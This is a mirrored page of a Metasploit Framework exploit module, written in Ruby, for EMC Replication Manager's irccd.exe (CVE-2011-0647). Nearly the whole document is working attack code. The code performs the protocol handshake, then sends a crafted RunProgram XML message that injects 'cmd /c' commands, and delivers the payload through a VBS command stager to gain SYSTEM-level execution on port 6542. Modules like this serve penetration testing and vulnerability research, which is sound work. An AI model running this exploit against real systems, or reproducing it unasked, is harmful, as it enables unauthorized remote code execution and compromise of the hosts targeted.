CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/emc/replication_manager_exec.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'EMC Replication Manager Command Execution',
15
'Description' => %q{
16
This module exploits a remote command-injection vulnerability in EMC Replication Manager
17
client (irccd.exe). By sending a specially crafted message invoking RunProgram function an
18
attacker may be able to execute arbitrary commands with SYSTEM privileges. Affected
19
products are EMC Replication Manager < 5.3. This module has been successfully tested
20
against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft
21
Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested
22
against these products.
23
},
24
'Author' =>
25
[
26
'Unknown', #Initial discovery
27
'Davy Douhine' #MSF module
28
],
29
'License' => MSF_LICENSE,
30
'References' =>
31
[
32
[ 'CVE', '2011-0647' ],
33
[ 'OSVDB', '70853' ],
34
[ 'BID', '46235' ],
35
[ 'URL', 'http://www.securityfocus.com/archive/1/516260' ],
36
[ 'ZDI', '11-061' ]
37
],
38
'DisclosureDate' => '2011-02-07',
39
'Platform' => 'win',
40
'Arch' => ARCH_X86,
41
'Payload' =>
42
{
43
'Space' => 4096,
44
'DisableNops' => true
45
},
46
'Targets' =>
47
[
48
# Tested on Windows XP and Windows 2003
49
[ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ]
50
],
51
'CmdStagerFlavor' => 'vbs',
52
'DefaultOptions' =>
53
{
54
'WfsDelay' => 5
55
},
56
'DefaultTarget' => 0,
57
'Privileged' => true
58
))
59
60
register_options(
61
[
62
Opt::RPORT(6542)
63
])
64
end
65
66
def exploit
67
execute_cmdstager({:linemax => 5000})
68
end
69
70
def execute_command(cmd, opts)
71
connect
72
hello = "1HELLOEMC00000000000000000000000"
73
vprint_status("Sending hello...")
74
sock.put(hello)
75
result = sock.get_once || ''
76
if result =~ /RAWHELLO/
77
vprint_good("Expected hello response")
78
else
79
disconnect
80
fail_with(Failure::Unknown, "Failed to hello the server")
81
end
82
83
start_session = "EMC_Len0000000136<?xml version=\"1.0\" encoding=\"UTF-8\"?><ir_message ir_sessionId=0000 ir_type=\"ClientStartSession\" <ir_version>1</ir_version></ir_message>"
84
vprint_status("Starting session...")
85
sock.put(start_session)
86
result = sock.get_once || ''
87
if result =~ /EMC/
88
vprint_good("A session has been created. Good.")
89
else
90
disconnect
91
fail_with(Failure::Unknown, "Failed to create the session")
92
end
93
94
run_prog = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> "
95
run_prog << "<ir_message ir_sessionId=\"01111\" ir_requestId=\"00000\" ir_type=\"RunProgram\" ir_status=\"0\"><ir_runProgramCommand>cmd /c #{cmd}</ir_runProgramCommand>"
96
run_prog << "<ir_runProgramAppInfo>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt; &lt;ir_message ir_sessionId=&quot;00000&quot; ir_requestId=&quot;00000&quot; "
97
run_prog << "ir_type=&quot;App Info&quot; ir_status=&quot;0&quot;&gt;&lt;IR_groupEntry IR_groupType=&quot;anywriter&quot; IR_groupName=&quot;CM1109A1&quot; IR_groupId=&quot;1&quot; "
98
run_prog << "&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;? &amp;gt; &amp;lt;ir_message ir_sessionId=&amp;quot;00000&amp;quot; "
99
run_prog << "ir_requestId=&amp;quot;00000&amp;quot;ir_type=&amp;quot;App Info&amp;quot; ir_status=&amp;quot;0&amp;quot;&amp;gt;&amp;lt;aa_anywriter_ccr_node&amp;gt;CM1109A1"
100
run_prog << "&amp;lt;/aa_anywriter_ccr_node&amp;gt;&amp;lt;aa_anywriter_fail_1018&amp;gt;0&amp;lt;/aa_anywriter_fail_1018&amp;gt;&amp;lt;aa_anywriter_fail_1019&amp;gt;0"
101
run_prog << "&amp;lt;/aa_anywriter_fail_1019&amp;gt;&amp;lt;aa_anywriter_fail_1022&amp;gt;0&amp;lt;/aa_anywriter_fail_1022&amp;gt;&amp;lt;aa_anywriter_runeseutil&amp;gt;1"
102
run_prog << "&amp;lt;/aa_anywriter_runeseutil&amp;gt;&amp;lt;aa_anywriter_ccr_role&amp;gt;2&amp;lt;/aa_anywriter_ccr_role&amp;gt;&amp;lt;aa_anywriter_prescript&amp;gt;"
103
run_prog << "&amp;lt;/aa_anywriter_prescript&amp;gt;&amp;lt;aa_anywriter_postscript&amp;gt;&amp;lt;/aa_anywriter_postscript&amp;gt;&amp;lt;aa_anywriter_backuptype&amp;gt;1"
104
run_prog << "&amp;lt;/aa_anywriter_backuptype&amp;gt;&amp;lt;aa_anywriter_fail_447&amp;gt;0&amp;lt;/aa_anywriter_fail_447&amp;gt;&amp;lt;aa_anywriter_fail_448&amp;gt;0"
105
run_prog << "&amp;lt;/aa_anywriter_fail_448&amp;gt;&amp;lt;aa_exchange_ignore_all&amp;gt;0&amp;lt;/aa_exchange_ignore_all&amp;gt;&amp;lt;aa_anywriter_sthread_eseutil&amp;gt;0&amp"
106
run_prog << ";lt;/aa_anywriter_sthread_eseutil&amp;gt;&amp;lt;aa_anywriter_required_logs&amp;gt;0&amp;lt;/aa_anywriter_required_logs&amp;gt;&amp;lt;aa_anywriter_required_logs_path"
107
run_prog << "&amp;gt;&amp;lt;/aa_anywriter_required_logs_path&amp;gt;&amp;lt;aa_anywriter_throttle&amp;gt;1&amp;lt;/aa_anywriter_throttle&amp;gt;&amp;lt;aa_anywriter_throttle_ios&amp;gt;300"
108
run_prog << "&amp;lt;/aa_anywriter_throttle_ios&amp;gt;&amp;lt;aa_anywriter_throttle_dur&amp;gt;1000&amp;lt;/aa_anywriter_throttle_dur&amp;gt;&amp;lt;aa_backup_username&amp;gt;"
109
run_prog << "&amp;lt;/aa_backup_username&amp;gt;&amp;lt;aa_backup_password&amp;gt;&amp;lt;/aa_backup_password&amp;gt;&amp;lt;aa_exchange_checksince&amp;gt;1335208339"
110
run_prog << "&amp;lt;/aa_exchange_checksince&amp;gt; &amp;lt;/ir_message&amp;gt;&lt;/IR_groupEntry&gt; &lt;/ir_message&gt;</ir_runProgramAppInfo>"
111
run_prog << "<ir_applicationType>anywriter</ir_applicationType><ir_runProgramType>backup</ir_runProgramType> </ir_message>"
112
run_prog_header = "EMC_Len000000"
113
run_prog_packet = run_prog_header + run_prog.length.to_s + run_prog
114
115
vprint_status("Executing command....")
116
sock.put(run_prog_packet)
117
sock.get_once(-1, 1)
118
119
end_string = Rex::Text.rand_text_alpha(rand(10)+32)
120
sock.put(end_string)
121
sock.get_once(-1, 1)
122
disconnect
123
124
end
125
end
126
127